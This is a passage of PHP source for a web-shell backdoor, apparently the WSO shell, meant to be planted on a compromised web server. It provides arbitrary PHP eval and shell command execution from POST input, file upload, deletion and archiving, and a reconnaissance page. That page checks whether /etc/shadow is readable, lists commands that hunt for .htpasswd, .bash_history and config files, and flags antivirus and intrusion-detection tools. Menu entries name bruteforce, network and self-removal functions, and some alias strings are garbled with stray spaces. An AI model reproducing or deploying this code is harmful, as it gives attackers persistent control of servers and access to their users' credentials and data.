  66 
  67 if($os == 'win')
  68   $aliases = array(
  69       "ListDirectory" => "dir",
  70       "Findindex . phpincurrentdir" => "dir / s / w / bindex . php",
  71       "Find * config * . phpincurrentdir" => "dir / s / w / b * config * . php",
  72       "Showactiveconnections" => "netstat - an",
  73       "Showrunningservices" => "netstart",
  74       "Useraccounts" => "netuser",
  75       "Showcomputers" => "netview",
  76       "ARPTable" => "arp - a",
  77       "IPConfiguration" => "ipconfig / all"
  78   );
  79 else
  80   $aliases = array(
  81           "Listdir" => "ls - lha",
  82       "listfileattributesonaLinuxsecondextendedfilesystem" => "lsattr - va",
  83           "showopenedports" => "netstat - an | grep - ilisten",
  84         "processstatus" => "psaux",
  85       "Find" => "",
  86           "findallsuidfiles" => "find / -typef - perm - 04000 - ls",
  87           "findsuidfilesincurrentdir" => "find . -typef - perm - 04000 - ls",
  88           "findallsgidfiles" => "find / -typef - perm - 02000 - ls",
  89           "findsgidfilesincurrentdir" => "find . -typef - perm - 02000 - ls",
  90           "findconfig . inc . phpfiles" => "find / -typef - nameconfig . inc . php",
  91           "findconfig * files" => "find / -typef - name\"config*\"", "find config* files in current dir" => "find . -type f -name \"config*\"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" => "locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files" => "locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv");
  92     function wsoHeader() {
  93         if (empty($_POST['charset'])) $_POST['charset'] = $GLOBALS['default_charset'];
  94         global $color;
  95         echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>We are the robot pirates.We have robot functions.But we have pirate duties.</title>
  96 <style>
  97 body{
  98 background-attachment: fixed;
  99 background-image: url(http://i41.tinypic.com/dwxg60.png);
 100 background-color:#0A0A0A;color:#e1e1e1;
 101  opacity: 0.7;
 102 }
 103 body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#FFFFFF; }
 104 table.info{ color:#fff; background-color:#000000; }
 105 span,a{ color: $color !important; }
 106 span{ font-weight: bolder; }
 107 h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#000000;margin:0px;color:red; }
 108 div.content{ padding: 5px;margin-left:5px;background-color:#333; }
 109 a{ text-decoration:none; }
 110 a:hover{ text-decoration:underline; }
 111 .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
 112 .bigarea{ width:100%;height:250px; }
 113 input,textarea,select{ margin:0;color:#fff;background-color:#000000;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
 114 form{ margin:0px; }
 115 #toolsTbl{ text-align:center; }
 116 .toolsInp{ width: 300px }
 117 .main th{text-align:left;background-color:#5e5e5e;}
 118 .main tr:hover{background-color:#000000;}
 119 .l1{background-color:#444}
 120 .l2{background-color:#333}
 121 pre{font-family:Courier,Monospace;}
 122 </style>
 123 <script>
 124     var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
 125     var a_ = '" . htmlspecialchars(@$_POST['a']) . "'
 126     var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';
 127     var p1_ = '" . ((strpos(@$_POST['p1'], "
 128 ") !== false) ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "';
 129     var p2_ = '" . ((strpos(@$_POST['p2'], "
 130 ") !== false) ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "';
 131     var p3_ = '" . ((strpos(@$_POST['p3'], "
 132 ") !== false) ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "';
 133     var d = document;
 134   function set(a,c,p1,p2,p3,charset) {
 135       if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
 136       if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
 137       if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
 138       if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
 139       if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
 140       if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
 141   }
 142   function g(a,c,p1,p2,p3,charset) {
 143       set(a,c,p1,p2,p3,charset);
 144       d.mf.submit();
 145   }
 146   function a(a,c,p1,p2,p3,charset) {
 147       set(a,c,p1,p2,p3,charset);
 148       var params = 'ajax=true';
 149       for(i=0;i<d.mf.elements.length;i++)
 150           params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
 151       sr('" . addslashes($_SERVER['REQUEST_URI']) . "', params);
 152   }
 153   function sr(url, params) {
 154       if (window.XMLHttpRequest)
 155           req = new XMLHttpRequest();
 156       else if (window.ActiveXObject)
 157           req = new ActiveXObject('Microsoft.XMLHTTP');
 158         if (req) {
 159             req.onreadystatechange = processReqChange;
 160             req.open('POST', url, true);
 161             req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
 162             req.send(params);
 163         }
 164   }
 165   function processReqChange() {
 166       if( (req.readyState == 4) )
 167           if(req.status == 200) {
 168               var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
 169               var arr=reg.exec(req.responseText);
 170               eval(arr[2].substr(0, arr[1]));
 171           } else alert('Request error!');
 172   }
 173 </script>
 174 <head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
 175 <form method=post name=mf style='display:none;'>
 176 <input type=hidden name=a>
 177 <input type=hidden name=c>
 178 <input type=hidden name=p1>
 179 <input type=hidden name=p2>
 180 <input type=hidden name=p3>
 181 <input type=hidden name=charset>
 182 </form>";
 183         $freeSpace = @diskfreespace($GLOBALS['cwd']);
 184         $totalSpace = @disk_total_space($GLOBALS['cwd']);
 185         $totalSpace = $totalSpace ? $totalSpace : 1;
 186         $release = @php_uname('r');
 187         $kernel = @php_uname('s');
 188         $explink = 'http://exploit-db.com/list.php?description=';
 189         if (strpos('Linux', $kernel) !== false) $explink.= urlencode('Linux Kernel ' . substr($release, 0, 6));
 190         else $explink.= urlencode($kernel . ' ' . substr($release, 0, 3));
 191         if (!function_exists('posix_getegid')) {
 192             $user = @get_current_user();
 193             $uid = @getmyuid();
 194             $gid = @getmygid();
 195             $group = "?";
 196         } else {
 197             $uid = @posix_getpwuid(posix_geteuid());
 198             $gid = @posix_getgrgid(posix_getegid());
 199             $user = $uid['name'];
 200             $uid = $uid['uid'];
 201             $group = $gid['name'];
 202             $gid = $gid['gid'];
 203         }
 204         $cwd_links = '';
 205         $path = explode("/", $GLOBALS['cwd']);
 206         $n = count($path);
 207         for ($i = 0;$i < $n - 1;$i++) {
 208             $cwd_links.= "<a href='#' onclick='g(\"FilesMan\",\"";
 209             for ($j = 0;$j <= $i;$j++) $cwd_links.= $path[$j] . '/';
 210             $cwd_links.= "\")'>" . $path[$i] . "/</a>";
 211         }
 212         $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
 213         $opt_charsets = '';
 214         foreach ($charsets as $item) $opt_charsets.= '<option value="' . $item . '" ' . ($_POST['charset'] == $item ? 'selected' : '') . '>' . $item . '</option>';
 215         $m = array('Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Console' => 'Console', 'Sql' => 'Sql', 'Php' => 'Php', 'Safe mode' => 'SafeMode', 'String tools' => 'StringTools', 'Bruteforce' => 'Bruteforce', 'Network' => 'Network');
 216         if (!empty($GLOBALS['auth_pass'])) $m['Logout'] = 'Logout';
 217         $m['Self remove'] = 'SelfRemove';
 218         $menu = '';
 219         foreach ($m as $k => $v) $menu.= '<th width="' . (int)(100 / count($m)) . '%">[ <a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a> ]</th>';
 220         $drives = "";
 221         if ($GLOBALS['os'] == 'win') {
 222             foreach (range('c', 'z') as $drive) if (is_dir($drive . ':\'))
 223           $drives .= ' < ahref = "#"onclick = "g(\'FilesMan\',\''.$drive.':/\')" > ['.$drive.'] < / a > ';
 224   }
 225   echo ' < tableclass = infocellpadding = 3cellspacing = 0width = 100 % > < tr > < tdwidth = 1 > < span > < fontcolor = "red" > Uname: < br > User: < br > Php: < br > Hdd: < br > Cwd: < / font > ' . ($GLOBALS['os'] == 'win'?' < br > < fontcolor = "red" > Drives: < / font > ':'') . ' < / span > < / td > '
 226        . ' < td > < nobr > ' . substr(@php_uname(), 0, 120) . ' < ahref = "' . $explink . '"target = _blank > [exploit - db . com] < / a > < / nobr > < br > ' . $uid . '(' . $user . ') < span > < fontcolor = "red" > Group: < / font > < / span > ' . $gid . '(' . $group . ') < br > ' . @phpversion() . ' < span > < fontcolor = "red" > Safemode: < / font > < / span > ' . ($GLOBALS['safe_mode']?' < fontcolor = green > ON < / font > ':' < fontcolor = #00bb00><b>OFF</b></font>')
 227                                              . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span><font color="red" >Datetime:</font></span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span><font color="red" >Free:</font></span> ' . wsoViewSize($freeSpace) . ' (' . (int)($freeSpace / $totalSpace * 100) . '%)<br>' . $cwd_links . ' ' . wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>' . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
 228                                         }
 229                                         function wsoFooter() {
 230                                             $is_writable = is_writable($GLOBALS['cwd']) ? " <font color='#25ff00'>(Writeable)</font>" : " <font color=red>(Not writable)</font>";
 231                                             echo "
 232 </div>
 233 <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>
 234   <tr>
 235       <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=submit value='>>'></form></td>
 236       <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
 237   </tr><tr>
 238       <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
 239       <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
 240   </tr><tr>
 241       <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
 242       <td><form method='post' ENCTYPE='multipart/form-data'>
 243       <input type=hidden name=a value='FilesMAn'>
 244       <input type=hidden name=c value='" . $GLOBALS['cwd'] . "'>
 245       <input type=hidden name=p1 value='uploadFile'>
 246       <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
 247       <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br  ></td>
 248   </tr></table></div></body></html>";
 249                                         }
 250                                         if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false)) {
 251                                             function posix_getpwuid($p) {
 252                                                 return false;
 253                                             }
 254                                         }
 255                                         if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false)) {
 256                                             function posix_getgrgid($p) {
 257                                                 return false;
 258                                             }
 259                                         }
 260                                         function wsoEx($in) {
 261                                             $out = '';
 262                                             if (function_exists('exec')) {
 263                                                 @exec($in, $out);
 264                                                 $out = @join("
 265 ", $out);
 266                                             } elseif (function_exists('passthru')) {
 267                                                 ob_start();
 268                                                 @passthru($in);
 269                                                 $out = ob_get_clean();
 270                                             } elseif (function_exists('system')) {
 271                                                 ob_start();
 272                                                 @system($in);
 273                                                 $out = ob_get_clean();
 274                                             } elseif (function_exists('shell_exec')) {
 275                                                 $out = shell_exec($in);
 276                                             } elseif (is_resource($f = @popen($in, "r"))) {
 277                                                 $out = "";
 278                                                 while (!@feof($f)) $out.= fread($f, 1024);
 279                                                 pclose($f);
 280                                             }
 281                                             return $out;
 282                                         }
 283                                         function wsoViewSize($s) {
 284                                             if ($s >= 1073741824) return sprintf('%1.2f', $s / 1073741824) . ' GB';
 285                                             elseif ($s >= 1048576) return sprintf('%1.2f', $s / 1048576) . ' MB';
 286                                             elseif ($s >= 1024) return sprintf('%1.2f', $s / 1024) . ' KB';
 287                                             else return $s . ' B';
 288                                         }
 289                                         function wsoPerms($p) {
 290                                             if (($p & 0xC000) == 0xC000) $i = 's';
 291                                             elseif (($p & 0xA000) == 0xA000) $i = 'l';
 292                                             elseif (($p & 0x8000) == 0x8000) $i = '-';
 293                                             elseif (($p & 0x6000) == 0x6000) $i = 'b';
 294                                             elseif (($p & 0x4000) == 0x4000) $i = 'd';
 295                                             elseif (($p & 0x2000) == 0x2000) $i = 'c';
 296                                             elseif (($p & 0x1000) == 0x1000) $i = 'p';
 297                                             else $i = 'u';
 298                                             $i.= (($p & 0x0100) ? 'r' : '-');
 299                                             $i.= (($p & 0x0080) ? 'w' : '-');
 300                                             $i.= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x') : (($p & 0x0800) ? 'S' : '-'));
 301                                             $i.= (($p & 0x0020) ? 'r' : '-');
 302                                             $i.= (($p & 0x0010) ? 'w' : '-');
 303                                             $i.= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x') : (($p & 0x0400) ? 'S' : '-'));
 304                                             $i.= (($p & 0x0004) ? 'r' : '-');
 305                                             $i.= (($p & 0x0002) ? 'w' : '-');
 306                                             $i.= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x') : (($p & 0x0200) ? 'T' : '-'));
 307                                             return $i;
 308                                         }
 309                                         function wsoPermsColor($f) {
 310                                             if (!@is_readable($f)) return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
 311                                             elseif (!@is_writable($f)) return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
 312                                             else return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
 313                                         }
 314                                         if (!function_exists("scandir")) {
 315                                             function scandir($dir) {
 316                                                 $dh = opendir($dir);
 317                                                 while (false !== ($filename = readdir($dh))) $files[] = $filename;
 318                                                 return $files;
 319                                             }
 320                                         }
 321                                         function wsoWhich($p) {
 322                                             $path = wsoEx('which ' . $p);
 323                                             if (!empty($path)) return $path;
 324                                             return false;
 325                                         }
 326                                         function actionSecInfo() {
 327                                             wsoHeader();
 328                                             echo '<h1>Server security information</h1><div class=content>';
 329                                             function wsoSecParam($n, $v) {
 330                                                 $v = trim($v);
 331                                                 if ($v) {
 332                                                     echo '<span>' . $n . ': </span>';
 333                                                     if (strpos($v, "
 334 ") === false) echo $v . '<br>';
 335                                                     else echo '<pre class=ml1>' . $v . '</pre>';
 336                                                 }
 337                                             }
 338                                             wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
 339                                             if (function_exists('apache_get_modules')) wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
 340                                             wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
 341                                             wsoSecParam('Open base dir', @ini_get('open_basedir'));
 342                                             wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
 343                                             wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
 344                                             wsoSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
 345                                             $temp = array();
 346                                             if (function_exists('mysql_get_client_info')) $temp[] = "MySql (" . mysql_get_client_info() . ")";
 347                                             if (function_exists('mssql_connect')) $temp[] = "MSSQL";
 348                                             if (function_exists('pg_connect')) $temp[] = "PostgreSQL";
 349                                             if (function_exists('oci_connect')) $temp[] = "Oracle";
 350                                             wsoSecParam('Supported databases', implode(', ', $temp));
 351                                             echo '<br>';
 352                                             if ($GLOBALS['os'] == 'nix') {
 353                                                 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
 354                                                 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>" : 'no');
 355                                                 wsoSecParam('OS version', @file_get_contents('/proc/version'));
 356                                                 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
 357                                                 if (!$GLOBALS['safe_mode']) {
 358                                                     $userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
 359                                                     $danger = array('kav', 'nod32', 'bdcored', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit', 'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja');
 360                                                     $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
 361                                                     echo '<br>';
 362                                                     $temp = array();
 363                                                     foreach ($userful as $item) if (wsoWhich($item)) $temp[] = $item;
 364                                                     wsoSecParam('Userful', implode(', ', $temp));
 365                                                     $temp = array();
 366                                                     foreach ($danger as $item) if (wsoWhich($item)) $temp[] = $item;
 367                                                     wsoSecParam('Danger', implode(', ', $temp));
 368                                                     $temp = array();
 369                                                     foreach ($downloaders as $item) if (wsoWhich($item)) $temp[] = $item;
 370                                                     wsoSecParam('Downloaders', implode(', ', $temp));
 371                                                     echo '<br/>';
 372                                                     wsoSecParam('HDD space', wsoEx('df -h'));
 373                                                     wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
 374                                                 }
 375                                             } else {
 376                                                 wsoSecParam('OS Version', wsoEx('ver'));
 377                                                 wsoSecParam('Account Settings', wsoEx('net accounts'));
 378                                                 wsoSecParam('User Accounts', wsoEx('net user'));
 379                                             }
 380                                             echo '</div>';
 381                                             wsoFooter();
 382                                         }
 383                                         function actionPhp() {
 384                                             if (isset($_POST['ajax'])) {
 385                                                 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
 386                                                 ob_start();
 387                                                 eval($_POST['p1']);
 388                                                 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "
 389 
 390   \'") . "';
 391 ";
 392                                                 echo strlen($temp), "
 393 ", $temp;
 394                                                 exit;
 395                                             }
 396                                             wsoHeader();
 397                                             if (isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
 398                                                 echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
 399                                                 ob_start();
 400                                                 phpinfo();
 401                                                 $tmp = ob_get_clean();
 402                                                 $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU', '', $tmp);
 403                                                 $tmp = preg_replace('!td, th {(.*)}!msiU', '.e, .v, .h, .h th {$1}', $tmp);
 404                                                 echo str_replace('<h1', '<h2', $tmp) . '</div><br>';
 405                                             }
 406                                             if (empty($_POST['ajax']) && !empty($_POST['p1'])) $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
 407                                             echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' . (!empty($_POST['p1']) ? htmlspecialchars($_POST['p1']) : '') . '</textarea><input type=submit value=Eval style="margin-top:5px">';
 408                                             echo ' <input type=checkbox name=ajax value=1 ' . ($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX</form><pre id=PhpOutput style="' . (empty($_POST['p1']) ? 'display:none;' : '') . 'margin-top:5px;" class=ml1>';
 409                                             if (!empty($_POST['p1'])) {
 410                                                 ob_start();
 411                                                 eval($_POST['p1']);
 412                                                 echo htmlspecialchars(ob_get_clean());
 413                                             }
 414                                             echo '</pre></div>';
 415                                             wsoFooter();
 416                                         }
 417                                         function actionFilesMan() {
 418                                             wsoHeader();
 419                                             echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
 420                                             if (!empty($_POST['p1'])) {
 421                                                 switch ($_POST['p1']) {
 422                                                     case 'uploadFile':
 423                                                         if (!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) echo "Can't upload file!";
 424                                                         break;
 425                                                     case 'mkdir':
 426                                                         if (!@mkdir($_POST['p2'])) echo "Can't create new dir";
 427                                                         break;
 428                                                     case 'delete':
 429                                                         function deleteDir($path) {
 430                                                             $path = (substr($path, -1) == '/') ? $path : $path . '/';
 431                                                             $dh = opendir($path);
 432                                                             while (($item = readdir($dh)) !== false) {
 433                                                                 $item = $path . $item;
 434                                                                 if ((basename($item) == "..") || (basename($item) == ".")) continue;
 435                                                                 $type = filetype($item);
 436                                                                 if ($type == "dir") deleteDir($item);
 437                                                                 else @unlink($item);
 438                                                             }
 439                                                             closedir($dh);
 440                                                             @rmdir($path);
 441                                                         }
 442                                                         if (is_array(@$_POST['f'])) foreach ($_POST['f'] as $f) {
 443                                                             if ($f == '..') continue;
 444                                                             $f = urldecode($f);
 445                                                             if (is_dir($f)) deleteDir($f);
 446                                                             else @unlink($f);
 447                                                         }
 448                                                         break;
 449                                                     case 'paste':
 450                                                         if ($_SESSION['act'] == 'copy') {
 451                                                             function copy_paste($c, $s, $d) {
 452                                                                 if (is_dir($c . $s)) {
 453                                                                     mkdir($d . $s);
 454                                                                     $h = @opendir($c . $s);
 455                                                                     while (($f = @readdir($h)) !== false) if (($f != ".") and ($f != "..")) copy_paste($c . $s . '/', $f, $d . $s . '/');
 456                                                                 } elseif (is_file($c . $s)) @copy($c . $s, $d . $s);
 457                                                             }
 458                                                             foreach ($_SESSION['f'] as $f) copy_paste($_SESSION['c'], $f, $GLOBALS['cwd']);
 459                                                         } elseif ($_SESSION['act'] == 'move') {
 460                                                             function move_paste($c, $s, $d) {
 461                                                                 if (is_dir($c . $s)) {
 462                                                                     mkdir($d . $s);
 463                                                                     $h = @opendir($c . $s);
 464                                                                     while (($f = @readdir($h)) !== false) if (($f != ".") and ($f != "..")) copy_paste($c . $s . '/', $f, $d . $s . '/');
 465                                                                 } elseif (@is_file($c . $s)) @copy($c . $s, $d . $s);
 466                                                             }
 467                                                             foreach ($_SESSION['f'] as $f) @rename($_SESSION['c'] . $f, $GLOBALS['cwd'] . $f);
 468                                                         } elseif ($_SESSION['act'] == 'zip') {
 469                                                             if (class_exists('ZipArchive')) {
 470                                                                 $zip = new ZipArchive();
 471                                                                 if ($zip->open($_POST['p2'], 1)) {
 472                                                                     chdir($_SESSION['c']);
 473                                                                     foreach ($_SESSION['f'] as $f) {
 474                                                                         if ($f == '..') continue;
 475                                                                         if (@is_file($_SESSION['c'] . $f)) $zip->addFile($_SESSION['c'] . $f, $f);
 476                                                                         elseif (@is_dir($_SESSION['c'] . $f)) {
 477                                                                             $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/'));
 478                                                                             foreach ($iterator as $key => $value) {
 479                                                                                 $zip->addFile(realpath($key), $key);
 480                                                                             }
 481                                                                         }
 482                                                                     }
 483                                                                     chdir($GLOBALS['cwd']);
 484                                                                     $zip->close();
 485                                                                 }
 486                                                             }
 487                                                         } elseif ($_SESSION['act'] == 'unzip') {
 488                                                             if (class_exists('ZipArchive')) {
 489                                                                 $zip = new ZipArchive();
 490                                                                 foreach ($_SESSION['f'] as $f) {
 491                                                                     if ($zip->open($_SESSION['c'] . $f)) {
 492                                                                         $zip->extractTo($GLOBALS['cwd']);
 493                                                                         $zip->close();
 494                                                                     }
 495                                                                 }
 496                                                             }
 497                                                         } elseif ($_SESSION['act'] == 'tar') {
 498                                                             chdir($_SESSION['c']);
 499                                                             $_SESSION['f'] = array_map('escapeshellarg', $_SESSION['f']);
 500                                                             wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_SESSION['f']));
 501                                                             chdir($GLOBALS['cwd']);
 502                                                         }
 503                                                         unset($_SESSION['f']);
 504                                                         break;
 505                                                     default:
 506                                                         if (!empty($_POST['p1'])) {
 507                                                             $_SESSION['act'] = @$_POST['p1'];
 508                                                             $_SESSION['f'] = @$_POST['f'];
 509                                                             foreach ($_SESSION['f'] as $k => $f) $_SESSION['f'][$k] = urldecode($f);
 510                                                             $_SESSION['c'] = @$_POST['c'];
 511                                                         }
 512                                                         break;
 513                                                     }
 514                                                 }
 515                                                 $dirContent = @scandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
 516                                                 if ($dirContent === false) {
 517                                                     echo 'Can\'t open this folder!';
 518                                                     wsoFooter();
 519                                                     return;
 520                                                 }
 521                                                 global $sort;
 522                                                 $sort = array('name', 1);
 523                                                 if (!empty($_POST['p1'])) {
 524                                                     if (preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) $sort = array($match[1], (int)$match[2]);
 525                                                 }
 526                                                 echo "<script>
 527   function sa() {
 528       for(i=0;i<d.files.elements.length;i++)
 529           if(d.files.elements[i].type == 'checkbox')
 530               d.files.elements[i].checked = d.files.elements[0].checked;
 531   }
 532 </script>
 533 <table width='100%' class='main' cellspacing='0' cellpadding='2'>
 534 <form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
 535                                                 $dirs = $files = array();
 536                                                 $n = count($dirContent);
 537                                                 for ($i = 0;$i < $n;$i++) {
 538                                                     $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
 539                                                     $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
 540                                                     $tmp = array('name' => $dirContent[$i], 'path' => $GLOBALS['cwd'] . $dirContent[$i], 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]), 'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]), 'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i]));
 541                                                     if (@is_file($GLOBALS['cwd'] . $dirContent[$i])) $files[] = array_merge($tmp, array('type' => 'file'));
 542                                                     elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i])) $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
 543                                                     elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i]) && ($dirContent[$i] != ".")) $dirs[] = array_merge($tmp, array('type' => 'dir'));
 544                                                 }
 545                                                 $GLOBALS['sort'] = $sort;
 546                                                 function wsoCmp($a, $b) {
 547                                                     if ($GLOBALS['sort'][0] != 'size') return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1);
 548                                                     else return (($a['size'] < $b['size']) ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
 549                                                 }
 550                                                 usort($files, "wsoCmp");
